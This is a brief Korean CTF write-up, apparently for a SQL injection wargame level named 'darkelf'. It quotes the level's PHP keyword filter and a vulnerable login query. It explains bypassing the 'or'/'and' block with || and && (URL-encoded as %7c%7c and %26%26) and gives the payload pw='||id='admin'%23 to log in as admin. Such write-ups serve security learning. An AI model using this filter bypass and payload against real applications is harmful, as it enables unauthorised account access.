반응형
그렇다 딱 보면 감이 온다.. or또는 and를 우회하는 기법이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
or은 ||,%7c%7c 로 우회가 가능하며 and는 && %26%26 으로 우회가 가능하다.
즉 id='guest' and pw='' || id='admin' %23 같은 구문으로 앞에것은 거짓으로 만들고 || 뒤의 구문을 참으로 만들면 댄다.
즉 페이로드를
pw='||id='admin'%23으로 id=admin으로 참이 되어 어드민으로 로그인이 된다.